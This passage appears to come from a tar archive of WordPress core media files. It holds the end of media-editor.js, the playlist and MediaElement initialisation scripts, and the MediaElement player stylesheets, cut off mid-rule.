workflow.state('video-playlist-edit').on( 'update', function( selection ) { /** * @this wp.media.editor */ this.insert( wp.media.playlist.shortcode( selection ).string() ); }, this ); workflow.state('embed').on( 'select', function() { /** * @this wp.media.editor */ var state = workflow.state(), type = state.get('type'), embed = state.props.toJSON(); embed.url = embed.url || ''; if ( 'link' === type ) { _.defaults( embed, { linkText: embed.url, linkUrl: embed.url }); this.send.link( embed ).done( function( resp ) { wp.media.editor.insert( resp ); }); } else if ( 'image' === type ) { _.defaults( embed, { title: embed.url, linkUrl: '', align: 'none', link: 'none' }); if ( 'none' === embed.link ) { embed.linkUrl = ''; } else if ( 'file' === embed.link ) { embed.linkUrl = embed.url; } this.insert( wp.media.string.image( embed ) ); } }, this ); workflow.state('featured-image').on( 'select', wp.media.featuredImage.select ); workflow.setState( workflow.options.state ); return workflow; }, /** * Determines the proper current workflow id * * @param {string} [id=''] A slug used to identify the workflow. * * @return {wpActiveEditor|string|tinymce.activeEditor.id} */ id: function( id ) { if ( id ) { return id; } // If an empty `id` is provided, default to `wpActiveEditor`. id = window.wpActiveEditor; // If that doesn't work, fall back to `tinymce.activeEditor.id`. if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) { id = tinymce.activeEditor.id; } // Last but not least, fall back to the empty string. id = id || ''; return id; }, /** * Return the workflow specified by id * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} A media workflow. */ get: function( id ) { id = this.id( id ); return workflows[ id ]; }, /** * Remove the workflow represented by id from the workflow cache * * @param {string} id A slug used to identify the workflow. * * @this wp.media.editor */ remove: function( id ) { id = this.id( id ); delete workflows[ id ]; }, /** @namespace wp.media.editor.send */ send: { /** * Called when sending an attachment to the editor * from the medial modal. * * @param {Object} props Attachment details (align, link, size, etc). * @param {Object} attachment The attachment object, media version of Post. * @return {Promise} */ attachment: function( props, attachment ) { var caption = attachment.caption, options, html; // If captions are disabled, clear the caption. if ( ! wp.media.view.settings.captions ) { delete attachment.caption; } props = wp.media.string.props( props, attachment ); options = { id: attachment.id, post_content: attachment.description, post_excerpt: caption }; if ( props.linkUrl ) { options.url = props.linkUrl; } if ( 'image' === attachment.type ) { html = wp.media.string.image( props ); _.each({ align: 'align', size: 'image-size', alt: 'image_alt' }, function( option, prop ) { if ( props[ prop ] ) { options[ option ] = props[ prop ]; } }); } else if ( 'video' === attachment.type ) { html = wp.media.string.video( props, attachment ); } else if ( 'audio' === attachment.type ) { html = wp.media.string.audio( props, attachment ); } else { html = wp.media.string.link( props ); options.post_title = props.title; } return wp.media.post( 'send-attachment-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, attachment: options, html: html, post_id: wp.media.view.settings.post.id }); }, /** * Called when 'Insert From URL' source is not an image. Example: YouTube url. * * @param {Object} embed * @return {Promise} */ link: function( embed ) { return wp.media.post( 'send-link-to-editor', { nonce: wp.media.view.settings.nonce.sendToEditor, src: embed.linkUrl, link_text: embed.linkText, html: wp.media.string.link( embed ), post_id: wp.media.view.settings.post.id }); } }, /** * Open a workflow * * @param {string} [id=undefined] Optional. A slug used to identify the workflow. * @param {Object} [options={}] * * @this wp.media.editor * * @return {wp.media.view.MediaFrame} */ open: function( id, options ) { var workflow; options = options || {}; id = this.id( id ); this.activeEditor = id; workflow = this.get( id ); // Redo workflow if state has changed. if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) { workflow = this.add( id, options ); } wp.media.frame = workflow; return workflow.open(); }, /** * Bind click event for .insert-media using event delegation */ init: function() { $(document.body) .on( 'click.add-media-button', '.insert-media', function( event ) { var elem = $( event.currentTarget ), editor = elem.data('editor'), options = { frame: 'post', state: 'insert', title: wp.media.view.l10n.addMedia, multiple: true }; event.preventDefault(); if ( elem.hasClass( 'gallery' ) ) { options.state = 'gallery'; options.title = wp.media.view.l10n.createGalleryTitle; } wp.media.editor.open( editor, options ); }); // Initialize and render the Editor drag-and-drop uploader. new wp.media.view.EditorUploader().render(); } }; _.bindAll( wp.media.editor, 'open' ); $( wp.media.editor.init ); }(jQuery, _)); mediaelement/wp-playlist.js 0000644 00000012442 15111757752 0012036 0 ustar 00 /* global _wpmejsSettings, MediaElementPlayer */ (function ($, _, Backbone) { 'use strict'; /** @namespace wp */ window.wp = window.wp || {}; var WPPlaylistView = Backbone.View.extend(/** @lends WPPlaylistView.prototype */{ /** * @constructs * * @param {Object} options The options to create this playlist view with. * @param {Object} options.metadata The metadata */ initialize : function (options) { this.index = 0; this.settings = {}; this.data = options.metadata || $.parseJSON( this.$('script.wp-playlist-script').html() ); this.playerNode = this.$( this.data.type ); this.tracks = new Backbone.Collection( this.data.tracks ); this.current = this.tracks.first(); if ( 'audio' === this.data.type ) { this.currentTemplate = wp.template( 'wp-playlist-current-item' ); this.currentNode = this.$( '.wp-playlist-current-item' ); } this.renderCurrent(); if ( this.data.tracklist ) { this.itemTemplate = wp.template( 'wp-playlist-item' ); this.playingClass = 'wp-playlist-playing'; this.renderTracks(); } this.playerNode.attr( 'src', this.current.get( 'src' ) ); _.bindAll( this, 'bindPlayer', 'bindResetPlayer', 'setPlayer', 'ended', 'clickTrack' ); if ( ! _.isUndefined( window._wpmejsSettings ) ) { this.settings = _.clone( _wpmejsSettings ); } this.settings.success = this.bindPlayer; this.setPlayer(); }, bindPlayer : function (mejs) { this.mejs = mejs; this.mejs.addEventListener( 'ended', this.ended ); }, bindResetPlayer : function (mejs) { this.bindPlayer( mejs ); this.playCurrentSrc(); }, setPlayer: function (force) { if ( this.player ) { this.player.pause(); this.player.remove(); this.playerNode = this.$( this.data.type ); } if (force) { this.playerNode.attr( 'src', this.current.get( 'src' ) ); this.settings.success = this.bindResetPlayer; } // This is also our bridge to the outside world. this.player = new MediaElementPlayer( this.playerNode.get(0), this.settings ); }, playCurrentSrc : function () { this.renderCurrent(); this.mejs.setSrc( this.playerNode.attr( 'src' ) ); this.mejs.load(); this.mejs.play(); }, renderCurrent : function () { var dimensions, defaultImage = 'wp-includes/images/media/video.svg'; if ( 'video' === this.data.type ) { if ( this.data.images && this.current.get( 'image' ) && -1 === this.current.get( 'image' ).src.indexOf( defaultImage ) ) { this.playerNode.attr( 'poster', this.current.get( 'image' ).src ); } dimensions = this.current.get( 'dimensions' ); if ( dimensions && dimensions.resized ) { this.playerNode.attr( dimensions.resized ); } } else { if ( ! this.data.images ) { this.current.set( 'image', false ); } this.currentNode.html( this.currentTemplate( this.current.toJSON() ) ); } }, renderTracks : function () { var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' ); this.tracks.each(function (model) { if ( ! self.data.images ) { model.set( 'image', false ); } model.set( 'artists', self.data.artists ); model.set( 'index', self.data.tracknumbers ? i : false ); tracklist.append( self.itemTemplate( model.toJSON() ) ); i += 1; }); this.$el.append( tracklist ); this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass ); }, events : { 'click .wp-playlist-item' : 'clickTrack', 'click .wp-playlist-next' : 'next', 'click .wp-playlist-prev' : 'prev' }, clickTrack : function (e) { e.preventDefault(); this.index = this.$( '.wp-playlist-item' ).index( e.currentTarget ); this.setCurrent(); }, ended : function () { if ( this.index + 1 < this.tracks.length ) { this.next(); } else { this.index = 0; this.setCurrent(); } }, next : function () { this.index = this.index + 1 >= this.tracks.length ? 0 : this.index + 1; this.setCurrent(); }, prev : function () { this.index = this.index - 1 < 0 ? this.tracks.length - 1 : this.index - 1; this.setCurrent(); }, loadCurrent : function () { var last = this.playerNode.attr( 'src' ) && this.playerNode.attr( 'src' ).split('.').pop(), current = this.current.get( 'src' ).split('.').pop(); this.mejs && this.mejs.pause(); if ( last !== current ) { this.setPlayer( true ); } else { this.playerNode.attr( 'src', this.current.get( 'src' ) ); this.playCurrentSrc(); } }, setCurrent : function () { this.current = this.tracks.at( this.index ); if ( this.data.tracklist ) { this.$( '.wp-playlist-item' ) .removeClass( this.playingClass ) .eq( this.index ) .addClass( this.playingClass ); } this.loadCurrent(); } }); /** * Initialize media playlists in the document. * * Only initializes new playlists not previously-initialized. * * @since 4.9.3 * @return {void} */ function initialize() { $( '.wp-playlist:not(:has(.mejs-container))' ).each( function() { new WPPlaylistView( { el: this } ); } ); } /** * Expose the API publicly on window.wp.playlist. * * @namespace wp.playlist * @since 4.9.3 * @type {object} */ window.wp.playlist = { initialize: initialize }; $( document ).ready( initialize ); window.WPPlaylistView = WPPlaylistView; }(jQuery, _, Backbone)); mediaelement/wp-mediaelement.js 0000644 00000005302 15111757752 0012623 0 ustar 00 /* global _wpmejsSettings, mejsL10n */ (function( window, $ ) { window.wp = window.wp || {}; function wpMediaElement() { var settings = {}; /** * Initialize media elements. * * Ensures media elements that have already been initialized won't be * processed again. * * @memberOf wp.mediaelement * * @since 4.4.0 * * @return {void} */ function initialize() { var selectors = []; if ( typeof _wpmejsSettings !== 'undefined' ) { settings = $.extend( true, {}, _wpmejsSettings ); } settings.classPrefix = 'mejs-'; settings.success = settings.success || function ( mejs ) { var autoplay, loop; if ( mejs.rendererName && -1 !== mejs.rendererName.indexOf( 'flash' ) ) { autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay; loop = mejs.attributes.loop && 'false' !== mejs.attributes.loop; if ( autoplay ) { mejs.addEventListener( 'canplay', function() { mejs.play(); }, false ); } if ( loop ) { mejs.addEventListener( 'ended', function() { mejs.play(); }, false ); } } }; /** * Custom error handler. * * Sets up a custom error handler in case a video render fails, and provides a download * link as the fallback. * * @since 4.9.3 * * @param {object} media The wrapper that mimics all the native events/properties/methods for all renderers. * @param {object} node The original HTML video, audio, or iframe tag where the media was loaded. * @return {string} */ settings.customError = function ( media, node ) { // Make sure we only fall back to a download link for flash files. if ( -1 !== media.rendererName.indexOf( 'flash' ) || -1 !== media.rendererName.indexOf( 'flv' ) ) { return '<a href="' + node.src + '">' + mejsL10n.strings['mejs.download-file'] + '</a>'; } }; if ( 'undefined' === typeof settings.videoShortcodeLibrary || 'mediaelement' === settings.videoShortcodeLibrary ) { selectors.push( '.wp-video-shortcode' ); } if ( 'undefined' === typeof settings.audioShortcodeLibrary || 'mediaelement' === settings.audioShortcodeLibrary ) { selectors.push( '.wp-audio-shortcode' ); } if ( ! selectors.length ) { return; } // Only initialize new media elements. $( selectors.join( ', ' ) ) .not( '.mejs-container' ) .filter(function () { return ! $( this ).parent().hasClass( 'mejs-mediaelement' ); }) .mediaelementplayer( settings ); } return { initialize: initialize }; } /** * @namespace wp.mediaelement * @memberOf wp */ window.wp.mediaelement = new wpMediaElement(); $( window.wp.mediaelement.initialize ); })( window, jQuery ); mediaelement/mediaelementplayer.min.css 0000644 00000026217 15111757752 0014362 0 ustar 00 .mejs__offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs__container{background:#000;font-family:Helvetica,Arial,serif;position:relative;text-align:left;text-indent:0;vertical-align:top}.mejs__container,.mejs__container *{box-sizing:border-box}.mejs__container video::-webkit-media-controls,.mejs__container video::-webkit-media-controls-panel,.mejs__container video::-webkit-media-controls-panel-container,.mejs__container video::-webkit-media-controls-start-playback-button{-webkit-appearance:none;display:none!important}.mejs__fill-container,.mejs__fill-container .mejs__container{height:100%;width:100%}.mejs__fill-container{background:transparent;margin:0 auto;overflow:hidden;position:relative}.mejs__container:focus{outline:none}.mejs__iframe-overlay{height:100%;position:absolute;width:100%}.mejs__embed,.mejs__embed body{background:#000;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.mejs__fullscreen{overflow:hidden!important}.mejs__container-fullscreen{bottom:0;left:0;overflow:hidden;position:fixed;right:0;top:0;z-index:1000}.mejs__container-fullscreen .mejs__mediaelement,.mejs__container-fullscreen video{height:100%!important;width:100%!important}.mejs__background,.mejs__mediaelement{left:0;position:absolute;top:0}.mejs__mediaelement{height:100%;width:100%;z-index:0}.mejs__poster{background-position:50% 50%;background-repeat:no-repeat;background-size:cover;left:0;position:absolute;top:0;z-index:1}:root .mejs__poster-img{display:none}.mejs__poster-img{border:0;padding:0}.mejs__overlay{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;left:0;position:absolute;top:0}.mejs__layer{z-index:1}.mejs__overlay-play{cursor:pointer}.mejs__overlay-button{background:url(mejs-controls.svg) no-repeat;background-position:0 -39px;height:80px;width:80px}.mejs__overlay:hover>.mejs__overlay-button{background-position:-80px -39px}.mejs__overlay-loading{height:80px;width:80px}.mejs__overlay-loading-bg-img{-webkit-animation:a 1s linear infinite;animation:a 1s linear infinite;background:transparent url(mejs-controls.svg) -160px -40px no-repeat;display:block;height:80px;width:80px;z-index:1}@-webkit-keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.mejs__controls{bottom:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:40px;left:0;list-style-type:none;margin:0;padding:0 10px;position:absolute;width:100%;z-index:3}.mejs__controls:not([style*="display: none"]){background:rgba(255,0,0,.7);background:-webkit-linear-gradient(transparent,rgba(0,0,0,.35));background:linear-gradient(transparent,rgba(0,0,0,.35))}.mejs__button,.mejs__time,.mejs__time-rail{font-size:10px;height:40px;line-height:10px;margin:0;width:32px}.mejs__button>button{background:transparent url(mejs-controls.svg);border:0;cursor:pointer;display:block;font-size:0;height:20px;line-height:0;margin:10px 6px;overflow:hidden;padding:0;position:absolute;text-decoration:none;width:20px}.mejs__button>button:focus{outline:1px dotted #999}.mejs__container-keyboard-inactive [role=slider],.mejs__container-keyboard-inactive [role=slider]:focus,.mejs__container-keyboard-inactive a,.mejs__container-keyboard-inactive a:focus,.mejs__container-keyboard-inactive button,.mejs__container-keyboard-inactive button:focus{outline:0}.mejs__time{box-sizing:content-box;color:#fff;font-size:11px;font-weight:700;height:24px;overflow:hidden;padding:16px 6px 0;text-align:center;width:auto}.mejs__play>button{background-position:0 0}.mejs__pause>button{background-position:-20px 0}.mejs__replay>button{background-position:-160px 0}.mejs__time-rail{direction:ltr;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;height:40px;margin:0 10px;padding-top:10px;position:relative}.mejs__time-buffering,.mejs__time-current,.mejs__time-float,.mejs__time-float-corner,.mejs__time-float-current,.mejs__time-hovered,.mejs__time-loaded,.mejs__time-marker,.mejs__time-total{border-radius:2px;cursor:pointer;display:block;height:10px;position:absolute}.mejs__time-total{background:hsla(0,0%,100%,.3);margin:5px 0 0;width:100%}.mejs__time-buffering{-webkit-animation:b 2s linear infinite;animation:b 2s linear infinite;background:-webkit-linear-gradient(135deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background:linear-gradient(-45deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background-size:15px 15px;width:100%}@-webkit-keyframes b{0%{background-position:0 0}to{background-position:30px 0}}@keyframes b{0%{background-position:0 0}to{background-position:30px 0}}.mejs__time-loaded{background:hsla(0,0%,100%,.3)}.mejs__time-current,.mejs__time-handle-content{background:hsla(0,0%,100%,.9)}.mejs__time-hovered{background:hsla(0,0%,100%,.5);z-index:10}.mejs__time-hovered.negative{background:rgba(0,0,0,.2)}.mejs__time-buffering,.mejs__time-current,.mejs__time-hovered,.mejs__time-loaded{left:0;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:all .15s ease-in;transition:all .15s ease-in;width:100%}.mejs__time-buffering{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1)}.mejs__time-hovered{-webkit-transition:height .1s cubic-bezier(.44,0,1,1);transition:height .1s cubic-bezier(.44,0,1,1)}.mejs__time-hovered.no-hover{-webkit-transform:scaleX(0)!important;-ms-transform:scaleX(0)!important;transform:scaleX(0)!important}.mejs__time-handle,.mejs__time-handle-content{border:4px solid transparent;cursor:pointer;left:0;position:absolute;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);z-index:11}.mejs__time-handle-content{border:4px solid hsla(0,0%,100%,.9);border-radius:50%;height:10px;left:-7px;top:-4px;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);width:10px}.mejs__time-rail .mejs__time-handle-content:active,.mejs__time-rail .mejs__time-handle-content:focus,.mejs__time-rail:hover .mejs__time-handle-content{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.mejs__time-float{background:#eee;border:1px solid #333;bottom:100%;color:#111;display:none;height:17px;margin-bottom:9px;position:absolute;text-align:center;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:36px}.mejs__time-float-current{display:block;left:0;margin:2px;text-align:center;width:30px}.mejs__time-float-corner{border:5px solid #eee;border-color:#eee transparent transparent;border-radius:0;display:block;height:0;left:50%;line-height:0;position:absolute;top:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:0}.mejs__long-video .mejs__time-float{margin-left:-23px;width:64px}.mejs__long-video .mejs__time-float-current{width:60px}.mejs__broadcast{color:#fff;height:10px;position:absolute;top:15px;width:100%}.mejs__fullscreen-button>button{background-position:-80px 0}.mejs__unfullscreen>button{background-position:-100px 0}.mejs__mute>button{background-position:-60px 0}.mejs__unmute>button{background-position:-40px 0}.mejs__volume-button{position:relative}.mejs__volume-button>.mejs__volume-slider{-webkit-backface-visibility:hidden;background:rgba(50,50,50,.7);border-radius:0;bottom:100%;display:none;height:115px;left:50%;margin:0;position:absolute;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:25px;z-index:1}.mejs__volume-button:hover{border-radius:0 0 4px 4px}.mejs__volume-total{background:hsla(0,0%,100%,.5);height:100px;left:50%;margin:0;position:absolute;top:8px;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:2px}.mejs__volume-current{left:0;margin:0;width:100%}.mejs__volume-current,.mejs__volume-handle{background:hsla(0,0%,100%,.9);position:absolute}.mejs__volume-handle{border-radius:1px;cursor:ns-resize;height:6px;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:16px}.mejs__horizontal-volume-slider{display:block;height:36px;position:relative;vertical-align:middle;width:56px}.mejs__horizontal-volume-total{background:rgba(50,50,50,.8);height:8px;top:16px;width:50px}.mejs__horizontal-volume-current,.mejs__horizontal-volume-total{border-radius:2px;font-size:1px;left:0;margin:0;padding:0;position:absolute}.mejs__horizontal-volume-current{background:hsla(0,0%,100%,.8);height:100%;top:0;width:100%}.mejs__horizontal-volume-handle{display:none}.mejs__captions-button,.mejs__chapters-button{position:relative}.mejs__captions-button>button{background-position:-140px 0}.mejs__chapters-button>button{background-position:-180px 0}.mejs__captions-button>.mejs__captions-selector,.mejs__chapters-button>.mejs__chapters-selector{background:rgba(50,50,50,.7);border:1px solid transparent;border-radius:0;bottom:100%;margin-right:-43px;overflow:hidden;padding:0;position:absolute;right:50%;visibility:visible;width:86px}.mejs__chapters-button>.mejs__chapters-selector{margin-right:-55px;width:110px}.mejs__captions-selector-list,.mejs__chapters-selector-list{list-style-type:none!important;margin:0;overflow:hidden;padding:0}.mejs__captions-selector-list-item,.mejs__chapters-selector-list-item{color:#fff;cursor:pointer;display:block;list-style-type:none!important;margin:0 0 6px;overflow:hidden;padding:0}.mejs__captions-selector-list-item:hover,.mejs__chapters-selector-list-item:hover{background-color:#c8c8c8!important;background-color:hsla(0,0%,100%,.4)!important}.mejs__captions-selector-input,.mejs__chapters-selector-input{clear:both;float:left;left:-1000px;margin:3px 3px 0 5px;position:absolute}.mejs__captions-selector-label,.mejs__chapters-selector-label{cursor:pointer;float:left;font-size:10px;line-height:15px;padding:4px 10px 0;width:100%}.mejs__captions-selected,.mejs__chapters-selected{color:#21f8f8}.mejs__captions-translations{font-size:10px;margin:0 0 5px}.mejs__captions-layer{bottom:0;color:#fff;font-size:16px;left:0;line-height:20px;position:absolute;text-align:center}.mejs__captions-layer a{color:#fff;text-decoration:underline}.mejs__captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs__captions-position{bottom:15px;left:0;position:absolute;width:100%}.mejs__captions-position-hover{bottom:35px}.mejs__captions-text,.mejs__captions-text *{background:hsla(0,0%,8%,.5);box-shadow:5px 0 0 hsla(0,0%,8%,.5),-5px 0 0 hsla(0,0%,8%,.5);padding:0;white-space:pre-wrap}.mejs__container.mejs__hide-cues video::-webkit-media-text-track-container{display:none}.mejs__overlay-error{position:relative}.mejs__overlay-error>img{left:0;max-width:100%;position:absolute;top:0;z-index:-1}.mejs__cannotplay,.mejs__cannotplay a{color:#fff;font-size:.8em}.mejs__cannotplay{position:relative}.mejs__cannotplay a,.mejs__cannotplay p{display:inline-block;padding:0 15px;width:100%} mediaelement/mediaelementplayer.css 0000644 00000037043 15111757752 0013577 0 ustar 00 /* Accessibility: hide screen reader texts (and prefer "top" for RTL languages). Reference: http://blog.rrwd.nl/2015/04/04/the-screen-reader-text-class-why-and-how/ */ .mejs__offscreen { border: 0; clip: rect( 1px, 1px, 1px, 1px ); -webkit-clip-path: inset( 50% ); clip-path: inset( 50% ); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal; } .mejs__container { background: #000; box-sizing: border-box; font-family: 'Helvetica', Arial, serif; position: relative; text-align: left; text-indent: 0; vertical-align: top; } .mejs__container * { box-sizing: border-box; } /* Hide native play button and control bar from iOS to favor plugin button */ .mejs__container video::-webkit-media-controls, .mejs__container video::-webkit-media-controls-panel, .mejs__container video::-webkit-media-controls-panel-container, .mejs__container video::-webkit-media-controls-start-playback-button { -webkit-appearance: none; display: none !important; } .mejs__fill-container, .mejs__fill-container .mejs__container { height: 100%; width: 100%; } .mejs__fill-container { background: transparent; margin: 0 auto; overflow: hidden; position: relative; } .mejs__container:focus { outline: none; } .mejs__iframe-overlay { height: 100%; position: absolute; width: 100%; } .mejs__embed, .mejs__embed body { background: #000; height: 100%; margin: 0; overflow: hidden; padding: 0; width: 100%; } .mejs__fullscreen { overflow: hidden !important; } .mejs__container-fullscreen { bottom: 0; left: 0; overflow: hidden; position: fixed; right: 0; top: 0; z-index: 1000; } .mejs__container-fullscreen .mejs__mediaelement, .mejs__container-fullscreen video { height: 100% !important; width: 100% !important; } /* Start: LAYERS */ .mejs__background { left: 0; position: absolute; top: 0; } .mejs__mediaelement { height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 0; } .mejs__poster { background-position: 50% 50%; background-repeat: no-repeat; background-size: cover; left: 0; position: absolute; top: 0; z-index: 1; } :root .mejs__poster-img { display: none; } .mejs__poster-img { border: 0; padding: 0; } .mejs__overlay { -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; left: 0; position: absolute; top: 0; } .mejs__layer { z-index: 1; } .mejs__overlay-play { cursor: pointer; } .mejs__overlay-button { background: url('mejs-controls.svg') no-repeat; background-position: 0 -39px; height: 80px; width: 80px; } .mejs__overlay:hover > .mejs__overlay-button { background-position: -80px -39px; } .mejs__overlay-loading { height: 80px; width: 80px; } .mejs__overlay-loading-bg-img { -webkit-animation: mejs__loading-spinner 1s linear infinite; animation: mejs__loading-spinner 1s linear infinite; background: transparent url('mejs-controls.svg') -160px -40px no-repeat; display: block; height: 80px; width: 80px; z-index: 1; } @-webkit-keyframes mejs__loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes mejs__loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } /* End: LAYERS */ /* Start: CONTROL BAR */ .mejs__controls { bottom: 0; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; height: 40px; left: 0; list-style-type: none; margin: 0; padding: 0 10px; position: absolute; width: 100%; z-index: 3; } .mejs__controls:not([style*='display: none']) { background: rgba(255, 0, 0, 0.7); background: -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.35)); background: linear-gradient(transparent, rgba(0, 0, 0, 0.35)); } .mejs__button, .mejs__time, .mejs__time-rail { font-size: 10px; height: 40px; line-height: 10px; margin: 0; width: 32px; } .mejs__button > button { background: transparent url('mejs-controls.svg'); border: 0; cursor: pointer; display: block; font-size: 0; height: 20px; line-height: 0; margin: 10px 6px; overflow: hidden; padding: 0; position: absolute; text-decoration: none; width: 20px; } /* :focus for accessibility */ .mejs__button > button:focus { outline: dotted 1px #999; } .mejs__container-keyboard-inactive a, .mejs__container-keyboard-inactive a:focus, .mejs__container-keyboard-inactive button, .mejs__container-keyboard-inactive button:focus, .mejs__container-keyboard-inactive [role=slider], .mejs__container-keyboard-inactive [role=slider]:focus { outline: 0; } /* End: CONTROL BAR */ /* Start: Time (Current / Duration) */ .mejs__time { box-sizing: content-box; color: #fff; font-size: 11px; font-weight: bold; height: 24px; overflow: hidden; padding: 16px 6px 0; text-align: center; width: auto; } /* End: Time (Current / Duration) */ /* Start: Play/Pause/Stop */ .mejs__play > button { background-position: 0 0; } .mejs__pause > button { background-position: -20px 0; } .mejs__replay > button { background-position: -160px 0; } /* End: Play/Pause/Stop */ /* Start: Progress Bar */ .mejs__time-rail { direction: ltr; -webkit-box-flex: 1; -webkit-flex-grow: 1; -ms-flex-positive: 1; flex-grow: 1; height: 40px; margin: 0 10px; padding-top: 10px; position: relative; } .mejs__time-total, .mejs__time-buffering, .mejs__time-loaded, .mejs__time-current, .mejs__time-float, .mejs__time-hovered, .mejs__time-float-current, .mejs__time-float-corner, .mejs__time-marker { border-radius: 2px; cursor: pointer; display: block; height: 10px; position: absolute; } .mejs__time-total { background: rgba(255, 255, 255, 0.3); margin: 5px 0 0; width: 100%; } .mejs__time-buffering { -webkit-animation: buffering-stripes 2s linear infinite; animation: buffering-stripes 2s linear infinite; background: -webkit-linear-gradient(135deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background: linear-gradient(-45deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent); background-size: 15px 15px; width: 100%; } @-webkit-keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } @keyframes buffering-stripes { from { background-position: 0 0; } to { background-position: 30px 0; } } .mejs__time-loaded { background: rgba(255, 255, 255, 0.3); } .mejs__time-current, .mejs__time-handle-content { background: rgba(255, 255, 255, 0.9); } .mejs__time-hovered { background: rgba(255, 255, 255, 0.5); z-index: 10; } .mejs__time-hovered.negative { background: rgba(0, 0, 0, 0.2); } .mejs__time-current, .mejs__time-buffering, .mejs__time-loaded, .mejs__time-hovered { left: 0; -webkit-transform: scaleX(0); -ms-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: 0.15s ease-in all; transition: 0.15s ease-in all; width: 100%; } .mejs__time-buffering { -webkit-transform: scaleX(1); -ms-transform: scaleX(1); transform: scaleX(1); } .mejs__time-hovered { -webkit-transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); transition: height 0.1s cubic-bezier(0.44, 0, 1, 1); } .mejs__time-hovered.no-hover { -webkit-transform: scaleX(0) !important; -ms-transform: scaleX(0) !important; transform: scaleX(0) !important; } .mejs__time-handle, .mejs__time-handle-content { border: 4px solid transparent; cursor: pointer; left: 0; position: absolute; -webkit-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); z-index: 11; } .mejs__time-handle-content { border: 4px solid rgba(255, 255, 255, 0.9); border-radius: 50%; height: 10px; left: -7px; top: -4px; -webkit-transform: scale(0); -ms-transform: scale(0); transform: scale(0); width: 10px; } .mejs__time-rail:hover .mejs__time-handle-content, .mejs__time-rail .mejs__time-handle-content:focus, .mejs__time-rail .mejs__time-handle-content:active { -webkit-transform: scale(1); -ms-transform: scale(1); transform: scale(1); } .mejs__time-float { background: #eee; border: solid 1px #333; bottom: 100%; color: #111; display: none; height: 17px; margin-bottom: 9px; position: absolute; text-align: center; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 36px; } .mejs__time-float-current { display: block; left: 0; margin: 2px; text-align: center; width: 30px; } .mejs__time-float-corner { border: solid 5px #eee; border-color: #eee transparent transparent; border-radius: 0; display: block; height: 0; left: 50%; line-height: 0; position: absolute; top: 100%; -webkit-transform: translateX(-50%); -ms-transform: translateX(-50%); transform: translateX(-50%); width: 0; } .mejs__long-video .mejs__time-float { margin-left: -23px; width: 64px; } .mejs__long-video .mejs__time-float-current { width: 60px; } .mejs__broadcast { color: #fff; height: 10px; position: absolute; top: 15px; width: 100%; } /* End: Progress Bar */ /* Start: Fullscreen */ .mejs__fullscreen-button > button { background-position: -80px 0; } .mejs__unfullscreen > button { background-position: -100px 0; } /* End: Fullscreen */ /* Start: Mute/Volume */ .mejs__mute > button { background-position: -60px 0; } .mejs__unmute > button { background-position: -40px 0; } .mejs__volume-button { position: relative; } .mejs__volume-button > .mejs__volume-slider { 